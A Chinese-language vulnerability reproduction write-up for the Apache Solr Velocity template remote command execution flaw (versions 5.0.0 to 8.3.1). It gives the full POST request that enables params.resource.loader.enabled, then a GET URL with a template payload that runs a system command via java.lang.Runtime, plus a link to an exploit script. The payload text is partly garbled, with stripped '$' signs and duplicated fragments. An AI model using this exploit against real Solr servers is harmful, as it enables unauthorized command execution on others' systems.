簡介
通過訪問solr項目的config目錄即可查看和修改params.resource.loader.enabled,然後直接訪問接口構造指定參數就可以達成任意命令執行
影響範圍
Apache Solr 5.0.0版本至8.3.1
漏洞復現
打開solr頁面
然後隨便選擇一個項目進去
將該url改為127.0.0.1:8983/solr/chinese/config
得到以上數據就說明漏洞可能存在,之後在頁面中搜索關鍵字params.resource.loader.enabled查看該值是否為true,默認為false
如果如上圖一樣為fasle,嘗試向該頁面發送post請求構造如下請求包
POST /solr/chinese/config HTTP/1.1Host: solr:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 259{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": " true" }}
回顯如上圖就是修改成功,再次訪問127.0.0.1:8983/solr/chinese/config,發現params.resource.loader.enabled已經變為了true
接著直接輸入以下url即可
127.0.0.1:8983/solr/ chinese /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(x=%27%27)+%23set(rt=x.class.forName(%27java.lang.Runtime%27))+%23set(chr=x.class.forName(%27java.lang.Character%27))+%23set(str=x.class.forName(%27java.lang.String%27))+%23set(ex=rt.getRuntime().exec(%27id%27))+ex.waitFor()+%23set(out=out=ex.getInputStream())+%23foreach(i+in+[1..i+in+[1..out.available()])str.valueOf(str.valueOf(chr.toChars($out.read()))%23end
順帶在貼一個利用腳本https://github.com/jas502n/solr_rce